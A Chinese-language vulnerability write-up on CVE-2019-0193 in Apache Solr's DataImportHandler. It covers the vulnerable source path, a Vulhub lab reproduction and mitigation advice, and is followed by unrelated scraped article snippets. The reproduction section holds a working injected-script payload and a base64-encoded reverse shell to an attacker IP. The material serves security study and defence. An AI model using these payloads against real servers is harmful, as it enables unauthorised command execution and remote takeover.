CVE-2019-0193源码分析与漏洞复现

article/2025/8/18 19:12:15

漏洞概述

漏洞名称:Apache Solr DataImportHandler 远程代码执行漏洞
漏洞编号:CVE-2019-0193
CVSS 评分:9.8
影响版本:Apache Solr 1.3 - 8.2.0
修复版本:Apache Solr ≥ 8.2.0
漏洞类型:输入验证缺陷导致远程代码执行

CVE-2019-0193 是 Apache Solr 的 DataImportHandler(DIH)模块中的高危漏洞。攻击者通过向 Solr 的 DIH 接口发送恶意构造的 dataConfig 参数,注入 JavaScript 脚本并利用 Nashorn 引擎执行任意 Java 代码,最终实现远程命令执行。漏洞利用需满足两个条件:

  1. 启用 DIH 模块
  2. Solr Admin UI 未配置身份认证

技术细节与源码分析

漏洞成因
  • DIH 模块设计缺陷
    DIH 允许通过 HTTP 请求的 dataConfig 参数动态配置数据导入规则,且支持在 <script> 标签内嵌入 JavaScript 代码。Solr 使用 Nashorn 引擎解析脚本时,未对代码内容做安全过滤,导致可通过 Java.type() 调用危险类(如 java.lang.Runtime)。
  • 关键危险接口
    http://<target>:8983/solr/<core>/dataimport?command=full-import 接口接收 dataConfig 参数并直接解析执行。
2.2 漏洞触发路径与源码分析

关键代码节点

1.DataImportHandlerhandleRequestBody方法
  • 源码定位solr/contrib/dataimporthandler/src/java/org/apache/solr/handler/dataimport/DataImportHandler.java#handleRequestBody
 @Override@SuppressWarnings("unchecked")public void handleRequestBody(SolrQueryRequest req, SolrQueryResponse rsp)throws Exception {rsp.setHttpCaching(false);ContentStream contentStream = null;Iterable<ContentStream> streams = req.getContentStreams();if(streams != null){for (ContentStream stream : streams) {contentStream = stream;break;}}SolrParams params = req.getParams();NamedList defaultParams = (NamedList) initArgs.get("defaults");RequestInfo requestParams = new RequestInfo(req, getParamsMap(params), contentStream);String command = requestParams.getCommand();if (DataImporter.SHOW_CONF_CMD.equals(command)) {    String dataConfigFile = params.get("config");String dataConfig = params.get("dataConfig");if(dataConfigFile != null) {dataConfig = SolrWriter.getResourceAsString(req.getCore().getResourceLoader().openResource(dataConfigFile));}if(dataConfig==null)  {rsp.add("status", DataImporter.MSG.NO_CONFIG_FOUND);} else {ModifiableSolrParams rawParams = new ModifiableSolrParams(req.getParams());rawParams.set(CommonParams.WT, "raw");req.setParams(rawParams);ContentStreamBase content = new ContentStreamBase.StringStream(dataConfig);rsp.add(RawResponseWriter.CONTENT, content);}return;}rsp.add("initArgs", initArgs);String message = "";if (command != null) {rsp.add("command", command);}// If importer is still nullif (importer == null) {rsp.add("status", DataImporter.MSG.NO_INIT);return;}if (command != null && DataImporter.ABORT_CMD.equals(command)) {importer.runCmd(requestParams, null);} else if (importer.isBusy()) {message = DataImporter.MSG.CMD_RUNNING;} else if (command != null) {if (DataImporter.FULL_IMPORT_CMD.equals(command)|| DataImporter.DELTA_IMPORT_CMD.equals(command) ||IMPORT_CMD.equals(command)) {importer.maybeReloadConfiguration(requestParams, defaultParams);//调用maybeReloadConfiguration方法UpdateRequestProcessorChain processorChain =req.getCore().getUpdateProcessorChain(params);UpdateRequestProcessor processor = processorChain.createProcessor(req, rsp);SolrResourceLoader loader = req.getCore().getResourceLoader();DIHWriter sw = getSolrWriter(processor, loader, requestParams, req);......
  • 当前请求的command为full-import,通过maybeReloadConfiguration重新加载配置
2.`maybeReloadConfiguration``
  • 代码定位solr/contrib/dataimporthandler/src/java/org/apache/solr/handler/dataimport/DataImporter.java#maybeReloadConfiguration
boolean maybeReloadConfiguration(RequestInfo params,NamedList<?> defaultParams) throws IOException {if (importLock.tryLock()) {boolean success = false;try {        if (null != params.getRequest()) {if (schema != params.getRequest().getSchema()) {schema = params.getRequest().getSchema();}}String dataConfigText = params.getDataConfig();String dataconfigFile = params.getConfigFile();        InputSource is = null;if(dataConfigText!=null && dataConfigText.length()>0) {is = new InputSource(new StringReader(dataConfigText));} else if(dataconfigFile!=null) {is = new InputSource(core.getResourceLoader().openResource(dataconfigFile));is.setSystemId(SystemIdResolver.createSystemIdFromResourceName(dataconfigFile));log.info("Loading DIH Configuration: " + dataconfigFile);}if(is!=null) {          config = loadDataConfig(is);//调用loadDataConfigsuccess = true;}      ......
  • maybeReloadConfiguration中通过params.getDataConfig()判断了post的数据(dataConfig)是否为空,如果不是则通过loadDataConfig来加载
3. doFullImport方法
  • 随后在loadDataConfig中通过readFromXml方法解析提交的配置数据中的各个标签,获取到配置信息后通过this.importer.runCmd()方法处理导入过程,在runCmd()方法中调用doFullImport
public void doFullImport(DIHWriter writer, RequestInfo requestParams) {log.info("Starting Full Import");setStatus(Status.RUNNING_FULL_DUMP);try {DIHProperties dihPropWriter = createPropertyWriter();setIndexStartTime(dihPropWriter.getCurrentTimestamp());docBuilder = new DocBuilder(this, writer, dihPropWriter, requestParams);checkWritablePersistFile(writer, dihPropWriter);docBuilder.execute();if (!requestParams.isDebug())cumulativeStatistics.add(docBuilder.importStatistics);} catch (Exception e) {SolrException.log(log, "Full Import failed", e);docBuilder.handleError("Full Import failed", e);} finally {setStatus(Status.IDLE);DocBuilder.INSTANCE.set(null);}
  • 功能:在DataImporter.doFullImport中创建DocBuilder对象,负责解析用户提交的dataConfig配置并生成Solr文档。

  • 关键操作:通过execute()方法遍历Entity元素,最终生成EntityProcessorWrapper对象,用于封装实体处理逻辑。

4.全量数据解析(doFullDump方法)
  • 调用链:doFullDump调用DocBuilder.buildDocument(),逐层处理每个Entity的processor和transformer配置。

  • 漏洞触发点:当Entity配置中包含ScriptTransformer时,会触发用户自定义脚本的解析。此处未对脚本内容进行安全过滤。

5.恶意脚本执行(EntityProcessorWrapper类)
  • 流程:通过EntityProcessorWrapper.nextRow()遍历数据行,调用applyTransformer()执行转换操作。

  • 关键方法:ScriptTransformer.transformRow()动态初始化脚本引擎(如Nashorn),执行用户注入的JavaScript代码。
    利用方式:攻击者通过<script>标签嵌入恶意代码(如java.lang.Runtime.getRuntime().exec()),直接调用Java类执行系统命令。


漏洞复现

环境搭建
1.使用 Vulhub 环境启动漏洞靶机
 docker-compose up -d 

在这里插入图片描述

2.访问访问 http://target:8983,确认服务正常运行

在这里插入图片描述

攻击步骤
1.创建文件
  • 打开左边demo核心,选择Dataimport功能并选择debug模式,填入以下POC:
<dataConfig><script><![CDATA[function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");}]]></script><document><entity name="sample"fileName=".*"baseDir="/"processor="FileListEntityProcessor"recursive="false"transformer="script:poc" /></document>
</dataConfig>

在这里插入图片描述

  • 点击Execute with this Confuguration
    在这里插入图片描述
  • 进入容器发现创建成功
    在这里插入图片描述
2.反弹shell
  • 生成payload
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==bash -i >& /dev/tcp/192.168.1.102/6666 0>&1的base64编码(换成自己攻击机的ip和监听端口)

  • kali开启监听
    在这里插入图片描述
  • 跟之前步骤一样,只是将命令改为反弹shell的payload
<dataConfig><script><![CDATA[function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}");}]]></script><document><entity name="sample"fileName=".*"baseDir="/"processor="FileListEntityProcessor"recursive="false"transformer="script:poc" /></document>
</dataConfig>
  • 成功
    在这里插入图片描述

修复建议

4.1 官方修复方案
  • 升级至 Solr ≥ 8.2.0
    需显式设置 JVM 参数 -Denable.dih.dataconfigparam=true 方可使用 dataConfig 参数。
  • 补丁代码分析
    DataImporter.java 中增加安全校验:
    if (System.getProperty("enable.dih.dataconfigparam") == null) {  throw new SolrException("dataConfig param requires system property enable.dih.dataconfigparam=true");  
    }  
    
4.2 临时缓解措施
  1. 禁用 DIH 模块
    注释 solrconfig.xml 中所有 <requestHandler name="/dataimport"> 配置并重启。
  2. 启用身份认证
    配置 security.json 强制 Solr Admin UI 登录认证。
  3. 网络隔离
    限制 Solr 端口(默认 8983)仅允许可信 IP 访问。

总结

CVE-2019-0193 暴露了 Apache Solr 在动态配置解析脚本引擎安全上的严重缺陷。其利用链通过 DIH 模块的 dataConfig 参数注入恶意脚本,结合 Nashorn 引擎的 Java 调用能力实现 RCE。


5 参考链接

  1. 漏洞技术分析:DIH 模块与 Nashorn 引擎利用链
  2. CVE-2019-0193(Apache Solr 远程命令执行漏洞

http://www.hkcw.cn/article/pSdaeMSCEh.shtml

相关文章

圣杯布局和双飞翼布局的实现方法

目录 一、圣杯布局 1.传统布局floatmargin 2.使用flex布局 3.使用grid网格布局 二、双飞翼布局 一、圣杯布局 1.传统布局floatmargin 使用传统的float浮动和相对定位来实现 <div class"main-container"><div class"main"></div><div …

第4讲、Odoo 18 模块系统源码全解与架构深度剖析【modules】

引言 Odoo 是一款强大的开源企业资源规划&#xff08;ERP&#xff09;与客户关系管理&#xff08;CRM&#xff09;系统&#xff0c;其核心竞争力之一在于高度模块化的架构设计。模块系统不仅是 Odoo 框架的基石&#xff0c;更是实现功能灵活扩展与定制的关键。本文将结合 Odoo…

一台笔记本实现基因表达敲除?!scTenifoldKnk 单细胞基因模拟敲除教程

生信碱移 单细胞基因模拟敲除 scTenifoldKnk 是一种基于单细胞RNA测序数据进行虚拟基因敲除分析的方法&#xff0c;能够用于预测特定基因在某一细胞群体中敲低后的整体基因表达谱变化&#xff0c;也可以扩展到多细胞群体的敲除分析。 基因扰动实验是研究特定基因功能作用的强大…

高架疑车道减少致车辆高坠人员伤亡 死者家属称正商量赔偿

据澎湃新闻报道,有网友反映,5月19日,其侄儿驾车经过广东东莞环莞快速路虎门段,由于四车道变三车道,车辆从高架冲出路面后高坠,车内人员出现伤亡。5月29日,极目新闻记者致电东莞市应急管理局询问事故处置情况,接线人员表示,公安机关在负责处理此事。虎门交警工作人员也…

76岁男子长期吸烟被确诊为肺癌晚期 放射性粒子植入治疗成功实施

5月29日,上海交通大学医学院附属第九人民医院呼吸与危重症医学科戈霞晖主任医师团队成功为一名76岁的小细胞肺癌晚期患者实施了放射性碘125粒子植入治疗,实现了肿瘤的“定点爆破”。这种植入术能够持续释放低剂量γ射线,最大程度破坏肿瘤组织,并有效保护周围正常组织。这名…

成都27岁女子在家门口被害 凶手父亲抱怨因此事有家难回

女儿被杀已属最大不幸,还要承受凶手父亲的抱怨,这让人情何以堪?成都27岁女子王某雅在家门口被杀,凶手的父亲竟称:“就这事害我们有家不能回,花钱在外面住宾馆。”被害的王某雅,海归硕士,喜欢跳舞,平时在家线上办公。她是人们口中“别人家的孩子”,是母亲王女士的骄傲…

1.什么是node.js、npm、vue

一、Node.js 是什么&#xff1f; &#x1f63a; 定义&#xff1a; Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行时环境&#xff0c;让你可以在浏览器之外运行 JavaScript 代码&#xff0c;主要用于服务端开发。 &#x1f63a;从计算机底层说&#xff1a;什么是“运…

续肉不停!广东潮汕菜市场的猪脚饭要蹲着吃

广东潮汕菜市场的猪脚饭要蹲着吃,在广东潮汕地区,猪脚分为两大门派,一派是隆江,一派为东里,与隆江猪脚一整只卤制不同,东里猪脚要对半分开,切断骨头,是为了让骨髓融入卤汁,令猪脚更易入味。经过炖煮的猪脚和肉,吸足了卤汁,皮胶肉烂,油光水滑,酥香软糯得入口即化,…

库存翻番,赠送股东!五芳斋粽子,卖不动了?BUG:股东申领热情高

五芳斋近日宣布向股东赠送粽子礼盒,引发广泛关注。根据公告,截至4月28日交易结束,在中国证券登记结算有限责任公司上海分公司登记在册的持有公司股份1000股(含)以上的股东,每位可以申领“丰年五芳”粽子礼盒一盒,申领时间为2025年5月28日至6月8日。然而,市场对此反应冷…

男子杀害摊主潜逃27年落网 乡音暴露身份密码

27年前,21岁的外省小伙阿亮在当地与一猪肉摊摊主发生口角,一时冲动持刀将其杀害后隐姓埋名潜逃。当时的技术条件有限,警方追凶工作一度陷入瓶颈。27年后,阿亮辗转逃至扬州仪征。仪征警方凭借一句乡音破解了他的“身份密码”,成功将其抓获归案,这起尘封多年的命案积案终于…

郑大一附院世界最大的医院原院长阚全程被查

“宇宙第一大医院”郑大一附院原院长阚全程被查,医疗圈人称其“阚十亿”。责任编辑:zx0002

为什么现在的富二代更卷?

提到「富二代」,很多人都觉得他们是只知道吃喝玩乐的纨绔子弟,但是很多时候,有些富二代并不像我们想象当中的无忧无虑,现在另一种「卷王富二代」变得越来越多。富二代和穷二代,差的不仅仅是「富」和「穷」,而是平台、资源、心态等等很多方面的差距,之前网上比较流行的一…

小伙拍下800斤杨贵妃同款荔枝 浪漫与话题齐飞

小伙拍下800斤杨贵妃同款荔枝。最近,山东潍坊一位90后小伙拍下800斤杨贵妃同款荔枝的事儿,在网上引发了不小的关注。这一操作给平淡的生活带来了波澜,让人好奇背后的故事。在古代,杨贵妃一句“一骑红尘妃子笑,无人知是荔枝来”,让荔枝成了浪漫与宠爱的代名词。如今,这位…

Flutter实现不规则瀑布流布局拖拽重排序

因为业务&#xff0c;所以需要用flutter去实现一种不规则图形的瀑布流&#xff0c;但是同时需要支持拖拽并重新排序。效果类似如下。 查询过现有的插件&#xff0c;要么是仅支持同样大小的组件进行排序&#xff0c;要么就是动画效果不是很满意&#xff0c;有点死板&#xff0c;…

设置变体控制两个apk, 一个是有密码,一个是没有密码!

// ✅ 定义变体维度 flavorDimensions "default"// ✅ 定义产品变体 productFlavors {create("noPassword") {dimension "default"buildConfigField("boolean", "HAS_DEFAULT_PASSWORD", "false")buildConfigFi…

Leetcode 2921. 价格递增的最大利润三元组 II

1.题目基本信息 1.1.题目描述 给定长度为 n 的数组 prices 和 profits &#xff08;下标从 0 开始&#xff09;。一个商店有 n 个商品&#xff0c;第 i 个商品的价格为 prices[i]&#xff0c;利润为 profits[i]。 需要选择三个商品&#xff0c;满足以下条件&#xff1a; pr…

电视剧《长安的荔枝》定档6月7日 雷佳音岳云鹏携手破局

古装传奇剧《长安的荔枝》由曹盾、高翔执导,马伯庸担任故事顾问,雷佳音和岳云鹏领衔主演,将于6月7日19:30在CCTV-8黄金强档播出,并在腾讯视频全网独播。此外,那尔那茜、安沺、吕凉、公磊、冯嘉怡、芦芳生、郭涛、韩童生、窦骁、张天爱、尹昉、明道等演员也将出演。该剧改编…

欧阳娜娜体验小鹏MONA M03 智能驾驶新标杆

5月28日晚,小鹏汽车在北京举办了MONA潮玩派对暨M03 Max新车上市发布会。会上,小鹏MONA M03升级亮相,并推出了四款全新版型,全球首发了人机共驾功能,官方指导价在11.98万至13.98万元之间。小鹏汽车董事长兼CEO何小鹏与车主欧阳娜娜现场互动,详细介绍了M03 Max的高阶智能辅…

女子托运行李丢失金手链 嫌疑人被拘 警方介入调查

杨女士乘坐春秋航空班机从西安回宁波时丢失了一条黄金手链。5月30日凌晨,她透露西安咸阳国际机场警方已抓获嫌疑人,她将前往西安协助警方办案。5月25日,杨女士乘坐春秋航空公司班机从西安返回宁波,到家后发现装在托运行李箱中的一条黄金手链丢失,而包装盒及箱子中的其他物…

燃气气瓶将迎“码上管理”阶段 国家标准护航安全

市场监管总局(国家标准委)发布了《燃气气瓶和燃气瓶阀溯源二维码应用技术规范》国家标准,该标准对民用燃气气瓶和瓶阀的质量信息追溯提出了全面要求,并将于2025年6月1日起实施。这项标准旨在解决当前燃气安全运行中存在的一些隐患,与《气瓶安全技术规程》相结合,提出了更…